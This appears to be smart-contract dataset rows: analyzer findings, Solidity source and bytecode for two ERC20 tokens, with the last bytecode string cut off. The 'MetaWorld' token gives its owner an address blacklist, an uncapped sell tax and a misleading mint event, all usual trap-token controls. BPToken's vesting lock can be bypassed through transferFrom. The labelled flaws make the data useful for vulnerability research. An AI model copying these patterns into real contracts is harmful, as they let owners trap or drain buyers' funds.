c490058e16b21d13ea5d20064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,961 |
0x87e62f0119ee1e75ffa8278dbe03a19b18eda39f
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MetaWorld is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redis = 1;
uint256 private _tax = 10;
uint256 private _selltax = 25;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Meta-World";
string private constant _symbol = "MTWD";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add1,address payable _add2) {
_feeAddrWallet1 = _add1;
_feeAddrWallet2 = _add2;
_rOwned[_feeAddrWallet1] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0),owner(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = _redis;
_feeAddr2 = _tax;
if(to == uniswapV2Pair){
_feeAddr2 = _selltax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(contractTokenBalance > _tTotal/1000){
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 200000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
if( from == owner()){
_feeAddr2 = 0;
_feeAddr1 = 0;
}
_tokenTransfer(from,to,amount);
}
function reduceSaleTax(uint256 _reducedTax) external onlyOwner{
_selltax = _reducedTax;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
uint256 diff = amount - amount/10;
_feeAddrWallet1.transfer(amount/10);
_feeAddrWallet2.transfer(diff);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function blacklistBot(address _address) external onlyOwner(){
bots[_address] = true;
}
function removeFromBlacklist(address notbot) external onlyOwner(){
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102f1578063c3c8cd8014610311578063c9567bf914610326578063cb3dfa181461033b578063dd62ed3e1461035b57600080fd5b806370a0823114610267578063715018a6146102875780638da5cb5b1461029c57806395d89b41146102c457600080fd5b806323b872dd116100dc57806323b872dd146101d6578063313ce567146101f6578063537df3b6146102125780635932ead1146102325780636fc3eaec1461025257600080fd5b806306fdde031461011957806308aad1f11461015e578063095ea7b31461018057806318160ddd146101b057600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600a81526913595d184b55dbdc9b1960b21b60208201525b604051610155919061156a565b60405180910390f35b34801561016a57600080fd5b5061017e610179366004611412565b6103a1565b005b34801561018c57600080fd5b506101a061019b3660046114c2565b6103f8565b6040519015158152602001610155565b3480156101bc57600080fd5b50683635c9adc5dea000005b604051908152602001610155565b3480156101e257600080fd5b506101a06101f1366004611482565b61040f565b34801561020257600080fd5b5060405160098152602001610155565b34801561021e57600080fd5b5061017e61022d366004611412565b610478565b34801561023e57600080fd5b5061017e61024d3660046114ed565b6104c3565b34801561025e57600080fd5b5061017e61050b565b34801561027357600080fd5b506101c8610282366004611412565b610538565b34801561029357600080fd5b5061017e61055a565b3480156102a857600080fd5b506000546040516001600160a01b039091168152602001610155565b3480156102d057600080fd5b50604080518082019091526004815263135515d160e21b6020820152610148565b3480156102fd57600080fd5b506101a061030c3660046114c2565b6105ce565b34801561031d57600080fd5b5061017e6105db565b34801561033257600080fd5b5061017e610611565b34801561034757600080fd5b5061017e610356366004611525565b6109d9565b34801561036757600080fd5b506101c861037636600461144a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d45760405162461bcd60e51b81526004016103cb906115bd565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000610405338484610a08565b5060015b92915050565b600061041c848484610b2c565b61046e84336104698560405180606001604052806028815260200161170a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610cb1565b610a08565b5060019392505050565b6000546001600160a01b031633146104a25760405162461bcd60e51b81526004016103cb906115bd565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104ed5760405162461bcd60e51b81526004016103cb906115bd565b60128054911515600160b81b0260ff60b81b19909216919091179055565b600f546001600160a01b0316336001600160a01b03161461052b57600080fd5b4761053581610ceb565b50565b6001600160a01b03811660009081526002602052604081205461040990610d82565b6000546001600160a01b031633146105845760405162461bcd60e51b81526004016103cb906115bd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610405338484610b2c565b600f546001600160a01b0316336001600160a01b0316146105fb57600080fd5b600061060630610538565b905061053581610e06565b6000546001600160a01b0316331461063b5760405162461bcd60e51b81526004016103cb906115bd565b601254600160a01b900460ff16156106955760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103cb565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106d23082683635c9adc5dea00000610a08565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561070b57600080fd5b505afa15801561071f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610743919061142e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078b57600080fd5b505afa15801561079f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c3919061142e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561080b57600080fd5b505af115801561081f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610843919061142e565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d719473061087381610538565b6000806108886000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108eb57600080fd5b505af11580156108ff573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610924919061153d565b505060128054683635c9adc5dea0000060135563ffff00ff60a01b198116630101000160a01b1790915560115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561099d57600080fd5b505af11580156109b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d59190611509565b5050565b6000546001600160a01b03163314610a035760405162461bcd60e51b81526004016103cb906115bd565b600c55565b6001600160a01b038316610a6a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103cb565b6001600160a01b038216610acb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103cb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b8e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103cb565b6001600160a01b03831660009081526006602052604090205460ff1615610bb457600080fd5b6001600160a01b0383163014610c8057600a54600d55600b54600e556012546001600160a01b0383811691161415610bed57600c54600e555b6000610bf830610538565b601254909150600160a81b900460ff16158015610c2357506012546001600160a01b03858116911614155b8015610c385750601254600160b01b900460ff165b15610c7e57610c526103e8683635c9adc5dea0000061167a565b811115610c6257610c6281610e06565b476702c68af0bb140000811115610c7c57610c7c47610ceb565b505b505b6000546001600160a01b0384811691161415610ca1576000600e819055600d555b610cac838383610fab565b505050565b60008184841115610cd55760405162461bcd60e51b81526004016103cb919061156a565b506000610ce284866116b9565b95945050505050565b6000610cf8600a8361167a565b610d0290836116b9565b600f549091506001600160a01b03166108fc610d1f600a8561167a565b6040518115909202916000818181858888f19350505050158015610d47573d6000803e3d6000fd5b506010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610cac573d6000803e3d6000fd5b6000600854821115610de95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103cb565b6000610df3610fb6565b9050610dff8382610fd9565b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e5c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610eb057600080fd5b505afa158015610ec4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee8919061142e565b81600181518110610f0957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601154610f2f9130911684610a08565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f689085906000908690309042906004016115f2565b600060405180830381600087803b158015610f8257600080fd5b505af1158015610f96573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b610cac83838361101b565b6000806000610fc3611112565b9092509050610fd28282610fd9565b9250505090565b6000610dff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611154565b60008060008060008061102d87611182565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061105f90876111df565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461108e9086611221565b6001600160a01b0389166000908152600260205260409020556110b081611280565b6110ba84836112ca565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110ff91815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea0000061112e8282610fd9565b82101561114b57505060085492683635c9adc5dea0000092509050565b90939092509050565b600081836111755760405162461bcd60e51b81526004016103cb919061156a565b506000610ce2848661167a565b600080600080600080600080600061119f8a600d54600e546112ee565b92509250925060006111af610fb6565b905060008060006111c28e878787611343565b919e509c509a509598509396509194505050505091939550919395565b6000610dff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cb1565b60008061122e8385611662565b905083811015610dff5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103cb565b600061128a610fb6565b905060006112988383611393565b306000908152600260205260409020549091506112b59082611221565b30600090815260026020526040902055505050565b6008546112d790836111df565b6008556009546112e79082611221565b6009555050565b600080808061130860646113028989611393565b90610fd9565b9050600061131b60646113028a89611393565b905060006113338261132d8b866111df565b906111df565b9992985090965090945050505050565b60008080806113528886611393565b905060006113608887611393565b9050600061136e8888611393565b905060006113808261132d86866111df565b939b939a50919850919650505050505050565b6000826113a257506000610409565b60006113ae838561169a565b9050826113bb858361167a565b14610dff5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103cb565b600060208284031215611423578081fd5b8135610dff816116e6565b60006020828403121561143f578081fd5b8151610dff816116e6565b6000806040838503121561145c578081fd5b8235611467816116e6565b91506020830135611477816116e6565b809150509250929050565b600080600060608486031215611496578081fd5b83356114a1816116e6565b925060208401356114b1816116e6565b929592945050506040919091013590565b600080604083850312156114d4578182fd5b82356114df816116e6565b946020939093013593505050565b6000602082840312156114fe578081fd5b8135610dff816116fb565b60006020828403121561151a578081fd5b8151610dff816116fb565b600060208284031215611536578081fd5b5035919050565b600080600060608486031215611551578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156115965785810183015185820160400152820161157a565b818111156115a75783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156116415784516001600160a01b03168352938301939183019160010161161c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611675576116756116d0565b500190565b60008261169557634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156116b4576116b46116d0565b500290565b6000828210156116cb576116cb6116d0565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461053557600080fd5b801515811461053557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207c302b68763aa5aa6441fae9eb453385b0c9041ca5ce96d84c23c330f8b1f4e464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,962 |
0x63e07355131D163a3Dc59Ec643a5091b3F1a35ee
|
pragma solidity ^0.4.20;
/*
* ERC20 interface
* see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* Math operations with safety checks
*/
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
/**
* Owned contract
*/
contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function isOwner(address _owner) internal returns (bool){
if (_owner == owner){
return true;
}
return false;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
/**
* BP crowdsale contract
*/
contract BPToken is SafeMath, Owned, ERC20 {
string public constant name = "Backpack Travel Token";
string public constant symbol = "BP";
uint256 public constant decimals = 18;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function BPToken() {
totalSupply = 2000000000 * 10 ** uint256(decimals);
balances[msg.sender] = totalSupply;
}
event Issue(uint16 role, address indexed to, uint256 value);
/// roles
enum Roles { Default, Angel, PrivateSale, Partner, Fans, Team, Foundation, Backup }
mapping (address => uint256) addressHold;
mapping (address => uint16) addressRole;
uint perMonthSecond = 2592000;
/// lock rule
struct LockRule {
uint baseLockPercent;
uint startLockTime;
uint stopLockTime;
uint linearRelease;
}
mapping (uint16 => LockRule) roleRule;
/// set the rule for special role
function setRule(uint16 _role, uint _baseLockPercent, uint _startLockTime, uint _stopLockTime,uint _linearRelease) onlyOwner {
assert(_startLockTime > block.timestamp);
assert(_stopLockTime > _startLockTime);
roleRule[_role] = LockRule({
baseLockPercent: _baseLockPercent,
startLockTime: _startLockTime,
stopLockTime: _stopLockTime,
linearRelease: _linearRelease
});
}
/// assign BP token to another address
function assign(uint16 role, address to, uint256 amount) onlyOwner returns (bool) {
assert(role <= uint16(Roles.Backup));
assert(balances[msg.sender] > amount);
/// one address only belong to one role
if ((addressRole[to] != uint16(Roles.Default)) && (addressRole[to] != role)) throw;
if (role != uint16(Roles.Default)) {
addressRole[to] = role;
addressHold[to] = safeAdd(addressHold[to],amount);
}
if (transfer(to,amount)) {
Issue(role, to, amount);
return true;
}
return false;
}
function isRole(address who) internal returns(uint16) {
uint16 role = addressRole[who];
if (role != 0) {
return role;
}
return 100;
}
/// calc the balance that the user shuold hold
function shouldHadBalance(address who) internal returns (uint){
uint16 currentRole = isRole(who);
if (isOwner(who) || (currentRole == 100)) {
return 0;
}
// base lock amount
uint256 baseLockAmount = safeDiv(safeMul(addressHold[who], roleRule[currentRole].baseLockPercent),100);
/// will not linear release
if (roleRule[currentRole].linearRelease == 0) {
if (block.timestamp < roleRule[currentRole].stopLockTime) {
return baseLockAmount;
} else {
return 0;
}
}
/// will linear release
/// now timestamp before start lock time
if (block.timestamp < roleRule[currentRole].startLockTime + perMonthSecond) {
return baseLockAmount;
}
// total lock months
uint lockMonth = safeDiv(safeSub(roleRule[currentRole].stopLockTime,roleRule[currentRole].startLockTime),perMonthSecond);
// unlock amount of every month
uint256 monthUnlockAmount = safeDiv(baseLockAmount,lockMonth);
// current timestamp passed month
uint hadPassMonth = safeDiv(safeSub(block.timestamp,roleRule[currentRole].startLockTime),perMonthSecond);
return safeSub(baseLockAmount,safeMul(hadPassMonth,monthUnlockAmount));
}
/// get balance of the special address
function balanceOf(address who) constant returns (uint) {
return balances[who];
}
/// @notice Transfer `value` BP tokens from sender's account
/// `msg.sender` to provided account address `to`.
/// @notice This function is disabled during the funding.
/// @dev Required state: Success
/// @param to The address of the recipient
/// @param value The number of BPs to transfer
/// @return Whether the transfer was successful or not
function transfer(address to, uint256 value) returns (bool) {
if (safeSub(balances[msg.sender],value) < shouldHadBalance(msg.sender)) throw;
uint256 senderBalance = balances[msg.sender];
if (senderBalance >= value && value > 0) {
senderBalance = safeSub(senderBalance, value);
balances[msg.sender] = senderBalance;
balances[to] = safeAdd(balances[to], value);
Transfer(msg.sender, to, value);
return true;
}
return false;
}
/// @notice Transfer `value` BP tokens from sender 'from'
/// to provided account address `to`.
/// @notice This function is disabled during the funding.
/// @dev Required state: Success
/// @param from The address of the sender
/// @param to The address of the recipient
/// @param value The number of BPs to transfer
/// @return Whether the transfer was successful or not
function transferFrom(address from, address to, uint256 value) returns (bool) {
// Abort if not in Success state.
// protect against wrapping uints
if (balances[from] >= value &&
allowed[from][msg.sender] >= value &&
safeAdd(balances[to], value) > balances[to])
{
balances[to] = safeAdd(balances[to], value);
balances[from] = safeSub(balances[from], value);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], value);
Transfer(from, to, value);
return true;
}
else {return false;}
}
/// @notice `msg.sender` approves `spender` to spend `value` tokens
/// @param spender The address of the account able to transfer the tokens
/// @param value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address spender, uint256 value) returns (bool) {
if (safeSub(balances[msg.sender],value) < shouldHadBalance(msg.sender)) throw;
// Abort if not in Success state.
allowed[msg.sender][spender] = value;
Approval(msg.sender, spender, value);
return true;
}
/// @param owner The address of the account owning tokens
/// @param spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address owner, address spender) constant returns (uint) {
uint allow = allowed[owner][spender];
return allow;
}
}
|
0x6060604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063039b6c34146100ca57806306fdde0314610131578063095ea7b3146101bf57806318160ddd1461021957806323b872dd14610242578063313ce567146102bb57806370a08231146102e45780638da5cb5b1461033157806395d89b4114610386578063a9059cbb14610414578063dd62ed3e1461046e578063efff78a5146104da578063f2fde38b14610525575b600080fd5b34156100d557600080fd5b610117600480803561ffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061055e565b604051808215151515815260200191505060405180910390f35b341561013c57600080fd5b61014461087a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ca57600080fd5b6101ff600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108b3565b604051808215151515815260200191505060405180910390f35b341561022457600080fd5b61022c610a02565b6040518082815260200191505060405180910390f35b341561024d57600080fd5b6102a1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a08565b604051808215151515815260200191505060405180910390f35b34156102c657600080fd5b6102ce610e04565b6040518082815260200191505060405180910390f35b34156102ef57600080fd5b61031b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e09565b6040518082815260200191505060405180910390f35b341561033c57600080fd5b610344610e52565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561039157600080fd5b610399610e77565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d95780820151818401526020810190506103be565b50505050905090810190601f1680156104065780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561041f57600080fd5b610454600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610eb0565b604051808215151515815260200191505060405180910390f35b341561047957600080fd5b6104c4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110bd565b6040518082815260200191505060405180910390f35b34156104e557600080fd5b610523600480803561ffff16906020019091908035906020019091908035906020019091908035906020019091908035906020019091905050611149565b005b341561053057600080fd5b61055c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611229565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105bb57600080fd5b6105da6007808111156105ca57fe5b61ffff168561ffff1611156112c7565b61062482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116112c7565b6000600781111561063157fe5